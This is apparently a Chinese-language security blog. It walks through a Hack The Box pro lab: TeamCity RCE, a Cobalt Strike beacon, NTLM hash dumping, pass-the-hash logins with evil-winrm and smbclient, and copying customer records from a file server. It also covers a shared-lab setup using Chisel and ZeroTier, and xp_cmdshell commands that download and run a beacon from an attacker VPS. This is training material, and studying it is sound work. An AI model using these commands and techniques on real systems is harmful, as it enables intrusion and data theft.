Lamber's Blog

终身学习

入口

端口扫描,扫到以下端口开放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
👉 root@racknerd-cfd9bbe ~ git:() docker run -it --rm --name rustscan rustscan/rustscan:2.1.1 -u 70000 -a 50.185.68.69 -- -sC -Pn
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] Automatically increasing ulimit value to 70000.
Open 50.185.68.69:80
Open 50.185.68.69:3306
Open 50.185.68.69:5672
Open 50.185.68.69:8111
Open 50.185.68.69:8080
Open 50.185.68.69:8081
Open 50.185.68.69:8383

分别访问并找历史CVE漏洞,最后发现 8111 端口的 TeamCity 可以利用,使用找到的 RCE exp GetShell

202410281705508

然后上传 C2 beacon 并上线该机器(反弹shell也是可以的,只不过用C2后续操作更加方便)

内网

用CS上线之后,使用 hashdump 命令 dump 本机的用户hash,拿到以下hash

202410281707695

1
2
3
4
5
6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e20e81c5c06ccf288474c581f13423b9:::
apache:1001:aad3b435b51404eeaad3b435b51404ee:ed813bb7cbb634bdd4b33e0c71d45cea:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
mspadmin:1000:aad3b435b51404eeaad3b435b51404ee:e20e81c5c06ccf288474c581f13423b9:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:42bd78d638a1093d29abbfebda57f139:::

然后上传 SharpHound.exe 进行域信息收集,收集完毕之后在 BloodHound 中查看,发现 mspadmin 用户隶属于域 Administrator 组和 Domain Admins 组(任务:获取DA域管理员权限 - 完成)

202410281711413

这也就说明我们现在已经拥有了域内管理员权限了。然后上传并使用 fscan.exe 扫描内网资产,目的是定位域控和 FILES001 机器,所以这里使用 -nopoc 参数并指定常见端口进行扫描,命令如下:

1
fscan.exe -h 10.2.40.1/16 -nopoc -t 10 -p 88,135,389,445,636,5985

扫描结果如下图:

202410281714679

开放端口如下:

202410281717357

然后内网穿透并使用 evil-winrmpth 的方式登上去,成功登录,域管理员账户有效。

1
proxychains4 -q evil-winrm -i 10.2.40.50 -u mspadmin -H e20e81c5c06ccf288474c581f13423b9

202410281718396

202410281719090

文件服务器

现在只剩在 FILES001 中寻找敏感信息了。用 smbclienttree 命令可以快速浏览大量文件。最终在E盘中找到大量客户记录(custom records)。

1
2
3
4
5
6
7
8
9
10
11
12
proxychains4 smbclient.py gapfactories.local/mspadmin@10.2.40.90 --hashes ":e20e81c5c06ccf288474c581f13423b9"

# shares
ADMIN$
C$
E$
Insurances
IPC$
it

# use E$
# tree

202410281723769

202410281723014

下载下来进行查看,发现确实是客户的个人信息。(任务:窃取FILE001文件服务器上的用户数据 - 完成)

202410281725843

HTB pro labs限制了靶场的openvpn代理只能在一台机器上开启,
如果有第二台机器尝试连接靶场的openvpn文件,就会连接不上。那我如果要和朋友们一起打HTB pro labs要怎么办呢?

方案一、在 vps 上连接靶场,玩家登上 vps 进行游玩

最初的方案,是在 vps 连接靶场的openvpn代理,每个玩家直接登录该 vps 游玩。

但是这个方案很快就否决了,原因如下:

  1. vps 缺少GUI界面,而有些玩家比较习惯GUI界面操作
  2. 如果玩家顺势在 vps 上记录攻击线索或者安装一堆与靶场有关的工具,不同玩家之间就会互相剧透。
  3. 如果某玩家把 vps 的环境搞崩溃,如果回退环境,也会影响到其它玩家。

方案二、使用 Chisel 搭建 Socks5隧道,玩家使用 Socks5隧道进行游玩

在仔细查阅 Chisel 的官方文档之后,实现了一种通过 Chisel 代理实现多人共同游玩的方案:

chisel_collaboration_1

  1. 首先,在 vps 上启动openvpn连接靶场节点
  2. 然后,在 vps 上启动 Chisel 服务端
  3. 然后仿照单人游玩的操作,在入口机上使用 Chisel 客户端,连接 vps 上的 Chisel 服务端。
  4. 实际的操作都和单人游玩一样。成功在 VPS 和入口机之间建立了一条 Socks5 隧道。
  5. 这样所有人都可以通过设置本地socks代理,代理地址为 socks5 107.173.157.111 1080 。从而访问到靶场内部

虽然这种方案解决了多人一起玩的需求,但是前提是得有某一个人拿下入口机的权限,去入口机上架设socks5隧道。那如果想要让大家都真正的从零开始玩呢?比如从扫描靶机网段,探测入口机地址开始。

方案二点五、改进原 Chisel 搭建方案

chisel_collaboration_2

经过了一番思考,改进了一下上一版方案:

  1. 在 VPS 上,启动 Chisel 客户端,连接 VPS 上已经启动好的 Chisel 服务端
  2. 这样所有人通过设置本地 socks 代理,代理地址为 socks5 107.173.157.111 1081 。从而和靶场入口网段连通

方案三、使用Zerotire组网

虽然现在已经可以大家分别在本地,通过socks5代理访问靶场网段。但是又遇到了新的体验问题:

  1. Socks5隧道不能支持代理 ICMP 和 ARP 协议,直接导致无法使用 nmap 最快的 ICMP 扫描,入口网段的存活机器探测和开放端口扫描都会变得特别慢。

经过一番调查,采用 Zerotire 作为新一版的多人游玩方案。

  1. 在 VPS 上安装 Zerotire
  2. 在 Zerotire 控制台,设置路由转发规则 ,通过 VPS 去访问目的地址为 10.10.110.0/24 ,并为 VPS 设置 iptables 流量转发

这样所有玩家,直接加入 Zerotire 网络即可访问靶场网段。

同时,在 VPS上保留了一个 Chisel 服务端。当玩家打完入口机之后,可以使用 scp 将 Chisel 传到入口机上,
然后连接 VPS 的 Chisel 服务端启动一条socks5隧道用于后续内网穿透。和 Chisel 方案操作一致。

KALI-to-DANTE-WEB-NIX01-chisel-reverse-socks5

使用 Zerotire 方案已经解决了很大一部分的靶场稳定性和速度问题。进一步优化靶场速度,只能从 VPS 的位置考虑。

Hack The Box的总部位于英国伦敦,选择位于伦敦的 VPS 可以将 VPS 与靶场之间的通信延迟,降低到 10ms。

这时候再考虑 VPS 与国内之间的通信延迟,尽可能低即可。

原本为了实现低延迟,考虑选用CN2 GIA线路的 VPS,即从国外到国内走单独的直连线路。延迟最低,价格也最贵。是的,价格太昂贵了,只是为了用来搭建低延迟的多人协作靶场,属实是大材小用了。

然后,开始横向对比多家云服务器厂商的普通产品。最后选定了 vultr 家的伦敦节点 VPS,采用最抠门配置,1核1G。
每月6美元,并且可以用 paypal 余额支付,非常划算。

VPS 与 靶场直连的延迟平均为1.5ms:

vps-to-htb

本地 与 VPS 直连的延迟平均为170ms:

kali-to-vps

整体使用效果平均为172ms:

kali-to-htb

这样有个好处,如果还嫌本地和靶场交互操作慢,可以选择接梯子加速连上VPS,从VPS和靶场直接交互,延迟只有不到3ms。

多人情况下如何反弹shell?

由于多人一起打,本质上是通过一个公用vps将所有人的流量集体转发到HTB靶场内部,如下图:

flowchart LR
    A[player 1] --> B(vps)
    C[player 2] --> B(vps)
    D[player 3] --> B(vps)
    B(vps) -->|请求| E[HTB]
    E[HTB] -->|响应| B(vps)

所以想要反弹shell,只能反弹到vps上,并不能直接反弹到每个玩家的攻击机上。

那么有没有什么解决办法呢?

有,我们可以直接用一种更高级的“反弹shell”手段,即使用C2工具。

既然能反弹shell,说明一定能执行命令,那么就可以通过执行命令,下载C2工具的beacon然后直接将受害机上线。

以 CobaltStrike 为例,在 vps 上启动 CobaltStrike 的 teamserver

202410251157628

反弹shell 以 mssql 的 xp_cmdshell 为例,首先生成一个 CS 的 beacon,然后用python启动一个临时的web服务,使用 xp_cmdshell 下载 beacon 并执行

1
2
exec xp_cmdshell 'powershell.exe wget http://vps-ip:8000/cs.exe -OutFile C:\\Users\Public\\cs.exe'
exec xp_cmdshell 'C:\\Users\Public\\cs.exe'

这样每个玩家就可以在自己的攻击机上面,连接 teamserver 去控制受害机了。

注:如果想要让每个玩家之间互不剧透或者走捷径,即A玩家上线了一台受害主机之后,不想让B玩家直接操控这台主机(想让B玩家自己从头完整打一遍),可以找一个有权限分级的C2工具来用。

方案一: Clash

优点: 简单,成本较低

缺点: 稳定性一般,延迟较高(日常300ms左右),多机器协作麻烦

阅读全文 »

前提条件: 需要将本机的翻墙软件打开

以 Clash 举例,将本机的 Clash 的 Allow LAN 打开。并且记下 Clash 的监听端口(本文是 7890端口)

如果 Allow LAN 没有打开,则 Clash 只会监听 127.0.0.1 上的流量,打开之后 Clash 会监听所有的网络接口。

查看kali虚拟机网卡所处的网段,记下和kali所处网段对应的本机ip地址,如下:

1
2
本机_ip: 192.168.17.1
kali_ip: 192.168.17.128
阅读全文 »
0%